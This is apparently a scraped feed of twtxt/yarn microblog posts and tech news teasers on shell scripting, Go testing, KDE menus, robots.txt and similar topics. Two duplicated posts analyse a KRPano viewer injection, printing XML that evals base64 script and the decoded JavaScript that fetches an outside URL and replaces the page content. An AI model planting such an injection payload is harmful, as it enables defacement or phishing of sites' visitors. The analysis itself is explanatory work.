What is Cross-Site Scripting (XSS)? Completely explained with types. ⌘ Read more
@thecanine@twtxt.net right. Spell checkers are not AI. Full grammar checking, and correction? That one I have not seeing, but on AI. So, what I meant was, let the grammar gaffes show; we type as we speak (most of the time). About spelling mistakes, well, let them be corrected as we have done since 1971(?).
@thecanine@twtxt.net @movq@www.uninformativ.de So I actually agree with you! I think Dustin is taking a bit of a “deep and dark” path here (depression), and there are many parallels to other types of activities that we can all talk to. “AI” or “LLM”(s) here should be no different. Use them, Don’t use them. I don’t really see how it takes away our creativity or critical thinking.
Exciting Cybersecurity Careers That Don’t Require Coding
Do you believe that cybersecurity is only for programmers who are bent over keyboards, typing code after code to ward off hackers? Rethink…
[Continue reading on InfoSec Write-ups »] … ⌘ Read more
** “Before injection, understanding” — What every hacker needs to master before exploiting a NoSQL…**
NoSQL database types
[Continue reading on InfoSec Write-ups »](https: … ⌘ Read more
Two main types of cats exist. 😅 ⌘ Read more
Honestly for these types of services, there probably isn’t much point, as the layer4 module in Caddy doesn’t do inspection/filtering anyway I think? 🤔
Pallene: a statically typed ahead-of-time compiled sister language to Lua, with a focus on performance
Comments ⌘ Read more
** Blog Title: Not Your File: How Misconfigured MIME Types Let Me Upload Evil Scripts **
Hey there!😁
[Continue reading on InfoSec Write-ups »](https://infosecwriteups.com/blog-title-not-your … ⌘ Read more
Announcing Kyverno Release 1.14!
TL;DR We are excited to announce the release of Kyverno 1.14.0, marking a significant milestone in our journey to make policy management in Kubernetes more modular, streamlined, and powerful. This release introduces two new policy types… ⌘ Read more
@kat@yarn.girlonthemoon.xyz You don’t need to change the directory first in line 11, you can just create the directory, that’s sufficient since you’re having an absolute path.
The echo in line 13 is useless, you can simplify this to: newdir="$WD/$now" If you reversed this line with the previous one, you could make use of the variable in the directory creation: mkdir "$newdir".
In line 16, pull the directory change out of the loop upfront. The loop body doesn’t modify the working directory, so no need to reset it with each cycle. In fact, you could even spare the cd altogether when you simply tell find where to look: find "$basedir" -type f….
I didn’t try it, but if I read the manpage correctly, you should be able to simplify line 19 as well:
-C Change to DIR before performing any operations. This option is order-sensitive, i.e. it affects all options that follow.
Hence, remove the cd and put the -C "$WD" as the first argument to tar. Again, I didn’t try it. Proceed with caution.
Finally, you don’t need to specify the full path to rm in line 21. I bet, /bin is in your PATH. When you removed the previous cd from my last suggestion, the relative path that follows won’t work anymore. So, just use the absolute path that you already have in a variable: rm -rf "$newdir"
I hope you find this tiny review a wee bit useful. :-)
tar and find were written by the devil to make sysadmins even more miserable
@kat@yarn.girlonthemoon.xyz @movq@www.uninformativ.de @prologic@twtxt.net Yeah, I’m also having them in my repertoire for ages, so I’m used to the weird command line options. From today’s perspective, they’re not consistent with the rest of the typical shell utilities, that’s for sure.
Regarding find | grep foo, I recommend find -name '*foo*', prologic. Also, I regularly use -type d and -type f to find directories or files.
Ten Startling Discoveries About Ozempic
Ozempic is the new so-called miracle drug that, over the past few years, has taken the world by storm. The semaglutide meds are in high demand. The original use for the injection is to treat type 2 diabetes. But since people discovered it also helps them lose weight, everyone from Oprah Winfrey to Elon Musk […]
The post Ten Startling Discoveries About Ozempic appeared first on … ⌘ Read more
** Crinkly chip bags **
I usually read pretty fast. I’ve been intentionally reading Middlemarch slowly. Chapter by chapter. This forced restraint makes reading Middlemarch feel sort of religious in pace and intention.
I fell back down the type theory hole, and have once again thought to myself“what about Haskell?” and“what about algebraic data types?” These thoughts are questionable and my motivations dubious, but here I am again imagining tiny type carrying backpacks strapped to little guys — bees, beetles, and other crawlies.
My part … ⌘ Read more
Arduino Uno Gets Upgraded with Integrated Ethernet and USB Type-C
The UnoNet is a microcontroller board based on the ATmega328PB, designed with the same form factor and pin layout as the Arduino Uno Rev 3. It integrates Ethernet via a W5500 controller and includes a USB Type-C port, RJ45 connector, DC barrel jack, ICSP header, and reset button. The ATmega328PB is clocked at 16 MHz […] ⌘ Read more
Luckfox Core1106 Smart 86 Box with Touchscreen, RS485 Interface, and Optional Wireless Connectivity
The Luckfox Core1106 Smart 86 Box is a development board designed for integration into standard 86-type wall enclosures. Based on the Luckfox-Pico-86-Panel series, it features Rockchip’s RV1106G2 or RV1106G3 processor and is intended for use in smart home interfaces and industrial control systems. This device uses a single-core ARM Cortex-A7 proces … ⌘ Read more
Using C++ type aliasing to avoid the ODR problem with conditional compilation, part 1
Comments ⌘ Read more
“Monosyllabic replies” refers to responses that consist of a single syllable. These types of replies are typically brief and concise, often used in situations where a simple, direct answer is given. Examples include words like “Yes,” “No,” “Okay,” or “Sure.”
😂 Can I imply you’re not interested in things like “LIke”, “Report”, etc?! 😂
yarnd v0.16 is released and the next round of specification updates are done and dusted, who wants me to have another crack at building Twtxt and activity pub integration support?
@prologic@twtxt.net not me. I hate monosyllabic replies, specifically on the written medium, so I am just typing this to make it longer. But that doesn’t change the truth, and that is, I don’t want, nor care, about twtxt, and Activity Pub integration. 😅
[$] Better debugging information for inlined kernel functions
Modern compilers perform a lot of optimizations, which can complicate debugging.
Song Liu and Thierry Treyer spoke about a potential improvement to
BPF Type Format (BTF) debugging information that could partially combat that
problem at the 2025 Linux Storage, Filesystem,
Memory-Management, and BPF Summit.
They want to add information on selectively inlined functions to BTF in order to
better support tracing tools.
Trey … ⌘ Read more
Meson 1.8.0 released
Version 1.8.0
of the Meson build system has
been released. Notable changes in this release include the ability to
run rustdoc for Rust projects, support for the c2y and gnu2y
compiler options, and a new argument ( android_exe_type) that
makes it possible to use the same meson.build file for
Android and non-Android systems. ⌘ Read more
Some gopher browsers handle type i and spaces better than others.
I agree with the Type i complaint below. That is just dumb.
Today I added support for Let’s Encrypt to eris via DNS-01 challenge. Updated the gcore libdns package I wrote for Caddy, Maddy and now Eris. Add support for yarn’s cache to support # type = bot and optionally # retention = N so that feeds like @tiktok@feeds.twtxt.net work like they did before, and… Updated some internal metrics in yarnd to be IMO “better”, with queue depth, queue time and last processing time for feeds.
Interesting factoid… By inspecting my “followers” list every now and again, I can tell who uses a client like jenny, tt or any other client where fetches are driven by user interactions of invoking the app. What do we call this type of client? Hmmm 🤔 Then I can tell who uses yarnd because they are “seen” more frequently 🤣
10 Times Government Officials Made Startling Claims
No, this is not that type of list. It doesn’t contain quotes like “God save the Queen, man” or “I tested positively toward negative, right.” This list is about claims made by government officials worldwide that sort of eclipse anything heads of state may have said (or will say in the future). Think you’ve heard […]
The post [10 Times Government Officials Made Startling Claims](https://listverse.com/2025/04/26/10-times-government … ⌘ Read more
kinda hate how there’s “fakeexample.com 0” all over the place for type i. these could be empty strings for sure
Bloody WhatsApp, bloody chat apps on smartphones, I’m going nuts. If you want to TYPE, use a device WITH A KEYBOARD. Don’t send me useless undecipherable gibberish. FFS!
Even though I really do like the shell, I always use Dolphin to mount my digicam SD card and copy the photos onto my computer. I finally added a context menu item in Dolphin to create a forest stroll directory with the current date in order to save some typing:
The following goes in ~/.local/share/kservices5/ServiceMenus/galmkdir.desktop:
[Desktop Entry]
Type=Service
X-KDE-ServiceTypes=KonqPopupMenu/Plugin,inode/directory
Actions=Waldspaziergang;
[Desktop Action Waldspaziergang]
Name=Heutigen Waldspaziergang anlegen…
Icon=folder-green
Exec=~/src/gelbariab/galmkdir "%f"
In order to update the KDE desktop cache and make this action menu item available in Dolphin, I ran:
kbuildsycoca5
The referenced galmkdir script looks like that:
#!/bin/sh
set -e
current_dir="$1"
if [ -z "$current_dir" ]; then
echo "Usage: $0 DIRECTORY" >&2
exit 1
fi
dir="$(kdialog \
--geometry 350x50 \
--title "Heutigen Waldspaziergang anlegen" \
--inputbox "Neues Verzeichnis in „$current_dir“ anlegen:" \
"waldspaziergang-$(date +%Y-%m-%d)")"
mkdir "$current_dir/$dir"
dolphin "$current_dir/$dir"
This solution is far from perfect, though. Ideally, I’d love to have it in the “Create New” menu instead of the “Actions” menu. But that doesn’t really work. I cannot define a default directory name, not to mention even a dynamic one with the current date. (I would have to update the .desktop file every day or so.) I also failed to create an empty directory. I somehow managed to create a directory with some other templates in it for some reason I do not really understand.
Let’s see how that works out in the next days. If I like it, I might define a few more default directory names.
Gmail Showing 1 Unread Message? Here’s How to Find It
If you’re the type of person who likes to maintain Inbox Zero, or who recently went and tidied up their Gmail inbox to get every email marked as read, you may come across a frustrating situation where Gmail shows 1 unread message, and you simply can’t locate that unread email message in Gmail. If you … Read More ⌘ Read more
Aqara Expands Advanced Matter Bridging to Older Hubs, Adds Support for New Device Types
Smart home company Aqara today announced plans to further integrate Matter into its product offerings. Aqara is bringing its Advanced Matter Bridging feature to all Aqara Matter controllers and bridges, rather than limiting the functionality to just the Hub M3 … ⌘ Read more
[$] A new type of spinlock for the BPF subsystem
The 6.15 merge window saw the inclusion of a new type of lock for BPF programs:
a resilient queued spinlock that Kumar Kartikeya Dwivedi has been working on
for some time. Eventually, he hopes to convert all of the spinlocks currently
used in the BPF subsystem to his new lock.
He gave a remote presentation about the design of the lock at the
2025 Linux Storage, Filesystem,
Memory-Management, and BPF summit. ⌘ Read more
[$] Improving hot-page detection and promotion
Tiered-memory systems feature multiple types of memory with varying
performance characteristics; on such systems, good performance depends on
keeping the most frequently used data in the fastest memory. Identifying
that data and placing it properly is a challenge that has kept developers
busy for years. Bharata Rao, presenting remotely during a
memory-management-track session at the 2025 Linux Storage, Filesystem,
Memory-Management, and BPF Summit, led a discussion on [a potential soluti … ⌘ Read more
How to Play Ambient Music on iPhone
One of the more interesting features to arrive on iPhone lately is the Ambient Music player, which, as the name implies, plays ambient music. This neat audio feature was introduced with iOS 18.4, and the Ambient Music Player offers four different ambient music types to play; Sleep, Chill, Productivity, and Wellbeing. While the Ambient Music … Read More ⌘ Read more
@lyse@lyse.isobeef.org I’m open to other suggestions 🤣 But hopefully both adding the additional prompt, not allowing it to enter shell history and removing from my shell history prevents me from doing such silly things in haste by pressing ^R and using fuzzy search which if you type fast you sometimes get wrong 😑
(#zzyjqvq) @lyse@lyse I’m open to other suggestions 🤣 But hopefully both adding the additional prompt, not allowing it to enter …
@lyse @lyse.isobeef.org I’m open to other suggestions 🤣 But hopefully both adding the additional prompt, not allowing it to enter shell history and removing from my shell history prevents me from doing such silly things in haste by pressing ^R and using fuzzy search which if you type fast you sometimes get wron … ⌘ Read more
[$] Improving the merging of anonymous VMAs
The virtual memory area (VMA), represented by struct\
vm_area_struct, is one of the core abstractions of the kernel’s
memory-management subsystem; a VMA represents a portion of a process’s
address space with the same characteristics. A memory-mapped file will be
represented by (at least) one VMA, as will the process’s stack or a region
of anonymous memory. Efficiently managing VMAs and the logic around them
i … ⌘ Read more
ProcessOne: ejabberd 25.03
Release Highlights:
- Matrix Gateway Gets Room Support
- Multiple Simultaneous Password Types
- Execute API Commands Using XMPP Client
If you are upgrading from a previous version, please check the [changes in SQL schemas](https://www.process-one … ⌘ Read more
@eapl.me@eapl.me Interesting! Two points stood right out to me:
Why the hell are e-mail newsletters considered a valid option in the first place? Just offer an Atom feed and be done with it! Especially for a blog of this very type. This doesn’t even involve a third party service. Although, in addition he also links to Feedburner, what the fuck!? No e-mail address or the like is needed and subject to being disclosed.
When these spam mailers want to prevent resubscribing, then for fuck’s sake, why don’t they use a hash of the e-mail address (I saw that in yarnd) for that purpose? Storing the e-mail address in clear text after unsubscribing is illegal in my book.
@movq@www.uninformativ.de Oh, right, a type would be good to have! :-D
@lyse@lyse.isobeef.org (I think of pointers as “memory location + type”, but I have done so much C and Assembler by now that the whole thing feels almost trivial to me. And I would have trouble explaining these concepts, I guess. 😅 Maybe I’ll cover this topic with our new Azubis/trainees some day …)
It’s extremely surprising to me that younger non-technical people just type in their full name (properly cased first and last name with a space in between) for a technical username in account registration or login forms. I’ve seen that happening several times in the past few years. The field name is “Benutzername” in German, literally “username”. Even adding a placeholder text to signal that they could simply use their nickname in lowercase did not change anything at all. Well, one person used at least an e-mail address.
This wasn’t the case six, seven years ago, everybody had some “real” username. Even non-techies. It looks like some “common knowledge” is getting lost. Strange. Very weird. It trips me every time I see it.
Have you experienced something similar?
Voyage dans l’Amérique en expansion
Un article de Henry Bonner J’ai fait un déplacement aux États-Unis, dans les États de Maryland, puis de Virginie, au début du mois… pour des réunions de famille proche, et avec des cousins américains. L’expérience crée l’opportunité de rencontres et la découverte de modes de vie, de mœurs, et de types d’habitudes différents. Les cousins […] ⌘ Read more
vi or vim at the beginning of each line? Like, upon opening like so:
@david@collantes.us While you’re typing? I guess this could be used as a starting point (doesn’t work on the very first line):
inoremap <CR> <Esc>:r!date +"\%F \%T"<CR>A
What’s the end goal here? 😅
i really wanna learn golang it looks fun and capable and i can read it kind of but every time i try it i’m immediately stuck on basic concepts like “what the fuck is a pointer” (this has been explained to me and i still don’t get it). i did have types explained to me as like notes on code which makes sense a bit but i’m mostly lost on basic code concepts
@andros@twtxt.andros.dev Can you reproduce any of this outside of your client? I can’t spot a mistake here:
$ curl -sI 'http://movq.de/v/8684c7d264/.html%2Dindex%2Dthumb%2Dgimp11%2D1.png.jpg'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 2615
Content-Type: image/jpeg
Date: Wed, 19 Mar 2025 19:53:17 GMT
Last-Modified: Wed, 19 Mar 2025 17:34:08 GMT
Server: OpenBSD httpd
$ curl -sI 'https://movq.de/v/8684c7d264/gimp11%2D1.png'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 131798
Content-Type: image/png
Date: Wed, 19 Mar 2025 19:53:19 GMT
Last-Modified: Wed, 19 Mar 2025 17:18:07 GMT
Server: OpenBSD httpd
$ telnet movq.de 80
Trying 185.162.249.140...
Connected to movq.de.
Escape character is '^]'.
HEAD /v/8684c7d264/.html%2Dindex%2Dthumb%2Dgimp11%2D1.png.jpg HTTP/1.1
Host: movq.de
Connection: close
HTTP/1.1 200 OK
Connection: close
Content-Length: 2615
Content-Type: image/jpeg
Date: Wed, 19 Mar 2025 19:53:31 GMT
Last-Modified: Wed, 19 Mar 2025 17:34:08 GMT
Server: OpenBSD httpd
Connection closed by foreign host.
$
My baby fighting 2! types of rare cancer ⌘ Read more
How to Disable Type to Siri on MacOS Sequoia
The latest versions of MacOS make it easier than ever to use Type to Siri, but many Mac users are finding themselves accidentally triggering the ‘Type to Siri’ feature on their Mac running the latest MacOS Sequoia releases. This can be frustrating, and if you don’t use Siri or Type To Siri you might not … Read More ⌘ Read more
Thanks, @xuu@txt.sour.is, great explanation. In another project I’ve structured it exactly like you wrote. The mock storage over there extends the SQLite storage and provides mechanism to return errors and such for testing purposes:
- storage/ defines the interface
- sqlite/ implements the storage interface
- mock/ extends the SQLite implementation by some mocking capabilities and assertions
- sqlite/ implements the storage interface
Here, however, there are no storage subpackages. It’s just storage, that’s it. Everything is in there. The only implementation so far is an SQLite backend that resides in storage. My RAM storage is exactly that SQLite storage, but with :memory: instead a backing file on disk. I do not have a mock storage (yet).
I have to think about it a bit more, but I probably have to do exactly that in my tt rewrite, too. Sigh. I just have the feeling that in storage/sqlite/sqlite_test.go I cannot import storage/mock for the helper because storage/mock/mock.go imports and embeds the type from storage/sqlite. But I’m too tired right now to think clearly.
How to Upload Documents to ChatGPT
ChatGPT allows you to upload documents, which you can then describe, analyze, summarize, explain, or even get assistance with that particular document. ChatGPT works with just about any document type that you might be working with or come across in the world of tech and computers, including .pdf, .doc, .docx, .txt, .rtf, .xls, .xlsx, .csv, … Read More ⌘ Read more
@xuu@txt.sour.is My layout looks like this:
- storage/
- storage.go: defines a
Storageinterface
- sqlite.go: implements the
Storageinterface
- sqlite_test.go: originally had a function to set up a test storage to test the SQLite storage implementation itself:
newRAMStorage(testing.T, $initialData) *Storage
- storage.go: defines a
- controller/
- feeds.go: uses a
Storage
- feeds_test.go: here I wanted to reuse the
newRAMStorage(…)function
- feeds.go: uses a
I then tried to relocate the newRAMStorage(…) into a
- teststorage/
- storage.go: moved here as
NewRAMStorage(…)
- storage.go: moved here as
so that I could just reuse it from both
- storage/
- sqlite_test.go: uses
testutils.NewRAMStorage(…)
- sqlite_test.go: uses
- controller/
- feeds_test.go: uses
testutils.NewRamStorage(…)
- feeds_test.go: uses
But that results into an import cycle, because the teststorage package imports storage for storage.Storage and the storage package imports testutils for testutils.NewRAMStorage(…) in its test. I’m just screwed. For now, I duplicated it as newRAMStorage(…) in controller/feeds_test.go.
I could put NewRAMStorage(…) in storage/testutils.go, which could be guarded with //go:build testutils. With go test -tags testutils …, in storage/sqlite_test.go could just use NewRAMStorage(…) directly and similarly in controller/feeds_test.go I could call storage.NewRamStorage(…). But I don’t know if I would consider this really elegant.
The more I think about it, the more appealing it sounds. Because I could then also use other test-related stuff across packages without introducing other dedicated test packages. Build some assertions, converters, types etc. directly into the same package, maybe even make them methods of types.
If I went that route, I might do the opposite with the build tag and make it something like !prod instead of testing. Only when building the final binary, I would have to specify the tag to exclude all the non-prod stuff. Hmmm.
it seems to be confused with the subject right next to it.. it works better at the end of the twt string.
Yarn won’t display anything. but the parser does add it to the AST in a way that you can parse it out using twt.Attrs().Get("lang")
https://git.mills.io/yarnsocial/go-lextwt/src/branch/main/ast.go#L1270-L1272
https://git.mills.io/yarnsocial/go-types/src/branch/main/twt.go#L473-L478
it seems to be confused with the subject right next to it.. it works better at the end of the twt string.
Yarn won’t display anything. but the parser does add it to the AST in a way that you can parse it out using twt.Attrs().Get("lang")
https://git.mills.io/yarnsocial/go-lextwt/src/branch/main/ast.go#L1270-L1272
https://git.mills.io/yarnsocial/go-types/src/branch/main/twt.go#L473-L478
also @Andros, I see that if I open that URL on my browser, I see weird characters in the .txt file:
description = ðŸ—
Perhaps your nginx server is missing a Content-Type: text/html; charset=utf-8 header?
https://serverfault.com/a/975289
In timeline it looks OK however, I think it’s relying on
The file must be encoded with UTF-8
of the original spec:
https://twtxt.readthedocs.io/en/latest/user/twtxtfile.html
@andros@twtxt.andros.dev Just before the pandemic, we watched Uncle Bob videos once a week in the lunch break. While almost all of my old teammates agreed with his views, I partially found them to be very odd and even counterproductive.
I didn’t come across John Ousterhout or any of his work before, at least not deliberately. So, this document is my first contact.
I only finished the chapter on comments and I totally agree with John so far. This document just manifests to me how weird Bob’s view is on certain subjects.
I always disagreed with the concept of a maximum method length. Sure, generally, shorter functions are probably better, but it always depends. And I’ve certainly seen super short methods that just made the code flow even worse to follow. While “one function should only do one thing” is a nice general rule, I’m 100% in team John with the shown examples. There are cases, where this doesn’t help readability at all. Not even close.
To me, a function always has to justify its existence. Either by reusing it at least at another place or by coming up with dedicated tests for it. But if it is just called once and there are no tests, I almost always decide against it. Personally, I don’t mind longer methods. We just recently had a discussion about that and I lost against two other workmates who are more in Uncle Bob’s camp, they refactored one medium sized method into three very short ones. Luckily, we agree on most other topics.
Lol, what!? The shorter the method, the longer the variables inside? I first thought I misread or the writeup mixed it up. I’ll always do it the other way around.
I’ve been also bitten badly by outdated comments in the past, but Bob must have worked on really terrible projects to end up with such an attitude to dislike comments. Oh well. No doubt, I’ve come across by several orders of magnitude more useless comments, in my experience (autogenerated) JavaDocs fall in the category more frequently than not. So, I know that there are different types of comments. A comment doesn’t automatically mean that it is good and justified.
But I also partially agree with Bob and John and think that a good name has a proper chance to save a comment. Though, when in doubt, I go John’s route and use a shorter name with a comment rather than use a kilometer long identifier. Writing good comments typically takes some time, sometimes much longer than writing the code. It regularly takes me several minutes. It’s a hard art.
I perhaps should read up on John’s work. He seems to be more reasonable and likeminded. :-) Let me continue to complete this document.
@off_grid_living@twtxt.net You could try starting it in the terminal in order to spot errors. Just open the GNOME Terminal or something like that and then type in “kolourpaint” and hit Enter.
I’m surprised, here you can’t find dial controls anymore. How old are your ovens? The last one my parents had was from the 90s.
I was amazed experimenting with different combinations, for instance instead of 100, using 60 for a minute, 90 for 1:30, and stupid stuff like heating with 11, 22, 55 seconds and so, to make it quicker to type any time.
Go 1-24 的 omitzero:JSON 處理的福音
使用 omitempty 忽略 JSON 中的可選字段 (Go 1.24 之前)——————————————當你有一個要轉換爲 JSON 的結構體時,你可能有一些字段是可選的。例如,我們採用以下結構體:type Response struct { ID string json:“id” // 其他字段省略 UpdatedA ⌘ Read more
You have a microwave oven at home, right?
You can type 3 and 0 for 30 seconds, 100 for a minute (shown as 1:00), or 200 for two minutes (2:00).
What would happen if you type 777 and Start?
A) Nothing
B) Self-destruction
C) Will run for 7 minutes and 77 seconds (boring!)
What about 7777 ?
@prologic@twtxt.net Of course you don’t notice it when yarnd only shows at most the last n messages of a feed. As an example, check out mckinley’s message from 2023-01-09T22:42:37Z. It has “[Scheduled][Scheduled][Scheduled]“… in it. This text in square brackets is repeated numerous times. If you search his feed for closing square bracket followed by an opening square bracket (][) you will find a bunch more of these. It goes without question he never typed that in his feed. My client saves each twt hash I’ve explicitly marked read. A few days ago, I got plenty of apparently years old, yet suddenly unread messages. Each and every single one of them containing this repeated bracketed text thing. The only conclusion is that something messed up the feed again.
@andros@twtxt.andros.dev Broke on me for having alt-urls I think 🥲
twtxt---profile-layout: Wrong type argument: char-or-string-p, ("https://aelaraji.com/twtxt.txt" "gemini://box.aelaraji.com/twtxt.txt" "gopher://box.aelaraji.com/0/twtxt.txt")
robots.txt file. only noticed it because the OpenAI bot was hitting me with a lot of nonsensical requests. here is the list from last month:
@bmallred@staystrong.run Surprisingly, my
User-agent: *
Disallow: /
seems to work. Or maybe those bastards change their user agent and claim to be someone nice. In any case, I just added a bunch of
location = /robots.txt {
add_header Content-Type text/plain;
return 200 "User-agent: *\nDisallow: /\n";
}
in my nginx config. No need for any bot to visit, crawl and index most of my sites.
(#d7l762q) For context, I’ve write to get one of these LLM(s) to do this for a project once before a couple of years ago. All it had to do was r …
For context, I’ve write to get one of these LLM(s) to do this for a project once before a couple of years ago. All it had to do was read the public methods of a struct and write the boilerplate for a type Foo interface { ... } with those same matching methods.
This shit™ is such a waste of time, human effort and global energy 🤦♂️ ⌘ Read more
**Seriously?! 😳 Transscript
if I had a Go struct such as the following:
…
Here’s how the complete interface would look:
type B ...**
Seriously?! 😳 [Transscript](https://gist.mills.io/prologic/fe6bb412dcc245a69b4cbad22f38dcd2)
> if I had a Go struct such as the following:
…
> Here’s how the complete interface would look:
type Bar interface {
Read(t *Bar, b []byte) (int, error)
}
”`
This interface matches the behavior and method signature of the provided Foo struct.
This is total garbage 🗑️ ⌘ Read more”`
How to Use “Type to Siri” with Apple Intelligence on iPhone & iPad
Using “Type to Siri” on iPhone and iPad is better than ever thanks to Apple Intelligence, and if you have a new enough iPhone or iPad. Type to Siri with Apple Intelligence includes ChatGPT integration, making it a notably more capable AI assistant, and it’s also much easier to access with the latest devices and … [Read More](https://osxdaily.com/2025/01/23/how-to-use-type-to-siri-with-app … ⌘ Read more
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
淺談 Go 語言 Optional 模式和 Builder 模式
在 Go 語言中,Optional 模式和 Builder 模式都是用於對象構建和配置的重要設計模式,但它們各自具有獨特的特點和應用場景。但是使用起來也是非常的類似,就好比電動車和摩托車,都能讓你不費太多力氣的騎行,把你送到目的地,這篇文章我們就來討論一下這兩個模式的本質區別和不同的使用場景。我們首先聲明一個結構體,後面我們就研究使用兩種不同方式來創建這個結構體的實例:type Person st ⌘ Read more
How to Change Keyboard Shortcut for Type to Siri on Mac
The Type to Siri feature on Mac is super useful, particularly now that Siri has Apple Intelligence features. Using Type to Siri is perhaps even more handy for Mac users than using the voice activated Siri commands, but some Mac users may find themselves accidentally triggering Type to Siri by inadvertently pressing the initiating command … [Read More](https://osxdaily.com/2025/01/13/how-to-change-keyboard-shortcut-for-type … ⌘ Read more
Use “Type to Siri” on Mac Easier Than Ever in Sequoia
Siri has been considerably improved in recent MacOS versions, mostly because it’s now linked to ChatGPT. One of the other recent changes to Siri in modern MacOS versions is that it’s now easier to access the “Type to Siri” feature, no longer being relegated to an Accessibility setting that has to be enabled separately like … Read More ⌘ Read more
Lol why you and bender twts are rendered but my with simular content are skipp3d? Upd: nevermind, i’m dumb, my twt are created in future because i type date -iS and replaces +03:00 with Z: https://twtxt.net/twt/yctmi7a
been thinking about trying arch linux but no i will not become the type of person that uses arch
**(#cmttsmq) Note for reference I was trying to write and fix this rule (fixed version below):
# Ignore Content-Type restrictions for Git
S ...**
Note for reference I was trying to write and fix this rule ( _fixed version below_):
Ignore Content-Type restrictions for Git
SecRule REQUEST_HEADERS:Host “@streq git.mills.io” “id:101,phase:1,t:none,nolog,ctl:ruleRemoveById=920420”
⌘ [Read more](https://twtxt.net/twt/n4ipixa)
Optimising prompt engineering for better AI outputs
Member post originally published on the yld blog by Afonso Ramos Remember when searching for information online involved typing in a few keywords and sifting through pages of results? Thankfully, those days are long gone. Today’s… ⌘ Read more
We had a faint yellow-orange-redish sky this evening. Only subtle, but it was actually one of those rare 360° sunsets. Just when I thought, that was it, it’s now over, the colors took off like crazy: https://lyse.isobeef.org/abendhimmel-2025-01-01/
A much nicer start into the year than all the hell yesterday. However, just as I type this, there come also the next round of explosions as darkness falls. Those bloody fuckers, please blow yourselves up!
i’ve transitioned text editors from nano (yeah i know) to micro and god micro is just so much better i did not know there was a CLI text editor i could use with sensible keyboard shortcuts that did not leave me feeling like i’m typing nuclear codes to do simple tasks like saving and editing
fair lol! i should give the web app a try, i don’t think i’ll get much use out of it from my phone anyway because i suck at typing on a phone but i might as well log in!
Breaked my fdroid repo by machinally type rm -rf repo in /var/www/fdroid. Hope it just contain apks and icons and i can recover
Just watched Kingsman: The Secret Service (2024). Pretty fun action packed movie if you like that sort of spy-flick-type film 🎥 Gonna wat …
Just watched Kingsman: The Secret Service (2024). Pretty fun action packed movie if you like that sort of spy-flick-type film 🎥 Gonna watch the next one now Kingsman: The Golden Circle 💪 ⌘ Read more
@prologic@twtxt.net maybe you meant to specify twtxt as a type similar to ActivityPub’s application/activity+json in https://webfinger.net/lookup/?resource=sorenpeter@norrebro.space
{
"rel": "self",
"type": "application/activity+json",
"href": "https://norrebro.space/users/sorenpeter"
},
Then it would also make sense to define a Link Relations but should that then link to something like https://twtxt.dev/webfinger.html where we can describe the spec?
@eapl.me@eapl.me why not https://domain.com/.well-known/twtxt/:domain/:user ?
the business card test is this can you write it on your business card and have someone you give it to be able to figure it out without added context?
- phone number: yes because everyone knows what a phone number is.
- email address: yes, everyone knows an email and their aol or prodigy will let them email.
- twitter/x/insta/pintrest handle: no, whats a twitter? do i need to sign up?
- domain name: yes its simple and you just type it in a browser right?
- twtxt url: kinda? its a bit long and is that a forward slash? or a backward slash?
@eapl.me@eapl.me why not https://domain.com/.well-known/twtxt/:domain/:user ?
the business card test is this can you write it on your business card and have someone you give it to be able to figure it out without added context?
- phone number: yes because everyone knows what a phone number is.
- email address: yes, everyone knows an email and their aol or prodigy will let them email.
- twitter/x/insta/pintrest handle: no, whats a twitter? do i need to sign up?
- domain name: yes its simple and you just type it in a browser right?
- twtxt url: kinda? its a bit long and is that a forward slash? or a backward slash?